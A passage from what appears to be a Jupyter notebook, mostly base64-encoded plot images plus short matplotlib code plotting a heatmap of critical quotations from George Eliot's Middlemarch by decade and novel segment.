A4AkyAQAAAIDBE2QCAAAAAIMnyAQAAAAABk+QCQAAAAAM\nniATAAAAABg8QSYAAAAAMHiCTAAAAABg8ASZAAAAAMDgCTIBAAAAgMETZAIAAAAAgyfIBAAAAAAG\nT5AJAAAAAAyeIBMAAAAAGDxBJgAAAAAweIJMAAAAAGDwBJkAAAAAwOAJMgEAAACAwVv0ILOqDqyq\nM6pqeVVdUVUnVNVWY2XWr6oPVtXSqrq2qo6vqo1H9j+6qo6rqour6vqq+q+q+otZ2npqVZ1VVTdW\n1Q+rap9pHCMwVN9f7A4AE/P1xe4AMDEnLXYHgInx+Q3MbdGDzCQ7JTksyZOSPC3JuklOqqoNR8oc\nmuSZSZ6TZOckmyX59Mj+7ZJcmeRFSbZO8vYk76iqP58pUFVbJvl8klOTbJvk/UmOrKrdJ3FQwJpA\nkAlrryWL3QFgYgSZsPby+Q3MbZ3F7kBrba/R+1W1b7pQcrskS6pqoyT7J3l+a+2rfZn9kpxbVU9s\nrZ3RWvvwWLUXVdVTkvxBkiP6bS9PckFr7a/7++dX1Y5JDkhy8gQODQAAAABYIEMYkTnu3klakmv6\n+9ulC1xPnSnQWjs/ycVJnjxHPfcaqSNJtk9yyliZE+epAwAAAAAYgEUfkTmqqirdZeRLWmvn9Js3\nTXJTa235WPEr+n2z1fOUJM9NMjrac9P+MeN1bFRV67fWfrm6/QcAAAAAJmNQQWa6y8C3TrLjSpSt\ndCM3b7+x6pFJ/i3Jwa21U+/wqDvWkdnq6W2QJEtXojN33nkTrb1T8xdZbRdMvolrzp5wA5dNuP4k\nufsU2rh68k0sn/RrkSS3TLj+y5LcmIm+7j+YwvN08xTO7xX9hlxQ0zj/Ju3KKbQxjc+MabwWkz6O\nq5Jcn6l8Nk3UFH6f57optDHp99Q0PlunYW34PZhM/vW4NskvMtnfI1dNsO4Z602hjSm8p366Nnw/\n/8EU2pjCcbRpfD+f9HFckMl/fk/jPXXjFNqYwvv25mvmL7NapvC99uZ1J9/GVP6vdPHEW/j52T+f\naP3XnvvTmX9usLp1VWtTedbnVVWHJ/m9JDu11i4e2b5rukvC7zM6KrOqLkryvtba+0e2bZ3kS0k+\n1Fp781j9X01yVmvttSPb9u3ruM8K+vTCJB9b/aMDAAAAgP/VXtRaO251KhjEiMw+xNw7yS6jIWbv\nrHRDs3ZLckJffqskWyQ5faSObdLNo/nh8RCzd3qSZ4xt22O0jlmcmG4l9IsynT+rAAAAAMDaZIMk\nW6bL2VbLoo/IrKojkrwgybOS/HBk17LW2o0jZZ6RZL9015N8IMltrbWd+v3bJPlyki8med1IHbe2\n1pb2ZbZMN/76g0mOTheMHppkr9ba+CJAAAAAAMCADCHIvC2zzyqwX2vt2L7M+kneky7wXD9dYPmK\n1tqV/f6Dksw2CvMnrbUHj7S1S5JD0s3DeWmSt7bWPrKAhwMAAAAATMCiB5kAAAAAAPO5y2J3AAAA\nAABgPoLMFaiqV1TVhVV1Q1V9s6qesNh9AlZdVe1UVZ+tqp9W1W1V9axZyry1qi6rquur6uSqeuhi\n9BVYeVV1YFWdUVXLq+qKqjqhXwxwtMz6VfXBqlpaVddW1fFVtfFi9RlYOVX1sqr6blUt62+nVdWe\nI/ud27CW6D/Pb6uqQ0a2OcdhDVRVB/Xn8+jtnJH9C3JuCzJnUVXPS/LeJAcleWyS7yY5sarut6gd\nA+6Muyf5TpJXZJb5eKvq9UlemeTPkjwxyXXpzvf1ptlJYJXtlOSwJE9K8rQk6yY5qao2HClzaJJn\nJnlOkp2TbJbkU1PuJ7DqLkny+iTb9bcvJflMVf12v9+5DWuBfrDQn6T7//Yo5zisuX6QZJMkm/a3\nHUf2Lci5bY7MWVTVN5N8q7X26v5+pftC9YHW2rsWtXPAndYvLvb7rbXPjmy7LMm7W2vv6+9vlOSK\nJPu01j65OD0FVlX/x8Yrk+zcWlvSn8tXJXl+a+2EvszDk5ybZPvW2hmL11tgVVXV1Un+Kt1/eJzb\nsIarqnskOSvJy5O8Kcl/ttZe6/Mb1lz9Qtx7t9YeN8u+BTu3jcgcU1XrpvvL76kz21qX9p6S5MmL\n1S9g4VXVg9L9lWj0fF+e5FtxvsOa5t7pRl1f09/fLsk6uf35fX6Si+P8hjVGVd2lqp6f5G5JTo9z\nG9YWH0zyudbal8a2Pz7OcViTPayf1u2/q+qjVfXAfvuCfX6vs2BdXXvcL8ld043IGnVFkodPvzvA\nBG2aLviY7XzfdPrdAe6M/sqJQ5Msaa3NzMOzaZKb+j9OjHJ+wxqgqh6ZLrjcIMm1SZ7dWjuvqh4b\n5zas0fo/TjwmXWg5bpM4x2FN9c0k+yY5P8n9kxyc5Gv9Z/qCfTcXZK68yizz6wFrJec7rFmOSLJ1\n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\nwUn+srX2mZG2t+mfu4+M1fvFvo6DkvwgyUNbaz+sqmVJ2uh7DABgMQgyAQCmp/qfN81Z6tcekeS7\nfYg54xvprqp5eJIVBUvbJnlYVV07tn39JA9prZ1SVcckOamqTk5ySpJPttYun6c/H6+q29JdUn5l\nkv1ba/9VVVsnuVuSk/uwcMa66UY4zmjpQtSV0lo7t6qOTfLOdGHhqIek+y572kj5W6rqjHSjPdNa\n+05VnZ9uFOa70oW4v5luFGaSPDrJPZNcc/tuZ4O+/pXp4/VJfq+6uVF3TTe69b1JXl1V2/ev3bZJ\nnlJV/3fkoXdNsl5VbZBkqySXjAWFZ6ygye+P/PuK/ucPxrZtnPwq7H1IkqOqajSUvWuSn89R7/+k\ne69unG50JgDAIAgyAQAWzo/ThXVbJ/nsLPt/O8lVrbXl/f2WX4ebM0YXiZlrkZW5LgO/R7oFh144\nS/1XJUlrbf9+RN+e6S53f1tV7d5aW1GAlnSXGJ+abq7Mq8faS5K9klw29phfjt2/bo76Z3NQkvOr\nau+x7TPHNf48jD9nH0v3PLyr//kfrbWZEO8efX93yR2fp/Ggb06ttQuTXJjk6Kp6e5IfpXtej+nb\neXOS2VaX/+UsfZ7LzSP/bivYNjN91Mzr8se5YzB660rUaxoqAGBQBJkAAAuktXZNP8Lxz6vqfa21\nX4V4VbVpuiDtsJGHXJVuzsGZMg9LN7JxxjlJXlJVG7bWbui37ZguhJoZKXdTuhF2o85O8tx0oekv\n5ujvd5N8N8k7q+q0vn9zBZlXtNYumGX7OekCud9qrS2Z4/GrrLV2aVUdnuTvkvz3yK4fpwvfdkw3\nF2b6uUEfn24uyhnHpQtpH5fkOUn+ZGTf2elWYb+1tXbxAnb74iTX59ev5dlJHr6C5y5VdV6SLarq\nN0dGZT5xlqKrtHJ4a+3KqvppulG4n5ir6DxVzfYeAwCYOn9lBQBYWK9Mdwn3iVW1U3Wrh++Zbt7E\n89LNiTjjS0leWVWPqW617X/I7S87/1i6RXWOqaptqmrXJB9IcuxI4HVRkkdX1VZVdd8+zPtYkqVJ\nPlNVO1bVltWtUv7+qtqsv/93VbV9VW1RVXukm9/znDtzwH1Y+p4k76uql1TVg6vqsVX1yrFFZcZH\nPa6sv0+yWbqFjmbavD7d8/Xuqnp6f3n7kekuez9qpNxFSU7vt90l3QJCM/tO6ff9W1Xt3q/g/ZSq\n+ts++JxXVR1UVe+sblX2LavqMelW+V4n3SX7Sbf4zkuqW6l866p6RFU9r6pm3gsnJ7kgybFV9aiq\n2iHdHKQttw8ZZ3v+5ntOD05yYFW9qroVzh9ZVftW1WtWoY6Lktyjqn6nf49tOE95AICJEGQCACyg\n1tqP0608fUGSf00XAn0h3WI6O/YB3Iy/THJJkq8l+Wi6VbivH6nrhnQLwfxGupGSn0wXer1qpI5/\n7us+M928lU/pH7dzupGBn0oXUP5zuoB1ed/GI9LNFXl+kn9Mclhr7UNzHdo8x/2mdIHd3/Tt/Ue6\nS80vXNk6VlSutfazdPNkrj+272/SHd+x6Y7/wUn2aK0tG6vvY+nmw/z06CjZ3l7pnv+j0z0XxyXZ\nIr+ef3I+X023UM8x6RZz+kK6uSV3b639qO//SUl+N91CRGekC09fk+69kdbabUn2TnL3fv+H0gXe\nlV+vDp/M/vzN97ocle7S8v3SrRL/lXSLAc33uvxqW2vt9HTvkX9N9x573VxtAgBMSrW2SleoAACw\nivpVoF+bLmT71nzloR+V+bV0K4dfOF95AID/DQSZAABTUFX7JLlXa+0Di90Xhqeqfj/JL9ItEvSw\nJIcmubq1tsuidgwAYEAs9gMAMAWttWMWuw8M2j3Tray+ebr5TU9O8leL2iMAgIExIhMAAAAAGDyL\n/QAAAAAAgyfIBAAAAAAGT5AJAAAAAAyeIBMAAAAAGDxBJgAAAAAweIJMAAAAAGDwBJkAAAAAwOAJ\nMgEAAACAwRNkAgAAAACD9/8BJSouSWOgPcEAAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7fb922d106a0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "plt.pcolor(decadesDF)\n", "plt.yticks(np.arange(len(decadesDF.index)+1), ylabels)\n", "plt.gca().invert_yaxis()\n", "plt.ylabel('Decade')\n", "plt.xlabel('Quotes Per Novel Segment')\n", "plt.title(\"Number of Critical Quotations from George Eliot's Middlemarch, By Decade\")\n", "#plt.xticks(np.arange(len(decadesDF.columns)), decadesDF.columns)\n", "plt.show()" ] }, { "cell_type": "code", "execution_count": 16, "metadata": { "collapsed": false, "scrolled": false }, "outputs": [ { "data": { "text/plain": [ "<matplotlib.axes._subplots.AxesSubplot at 0x7fb922c83358>" ] }, "execution_count": 16, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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\nA4Ad0OupAQAAwOIQ9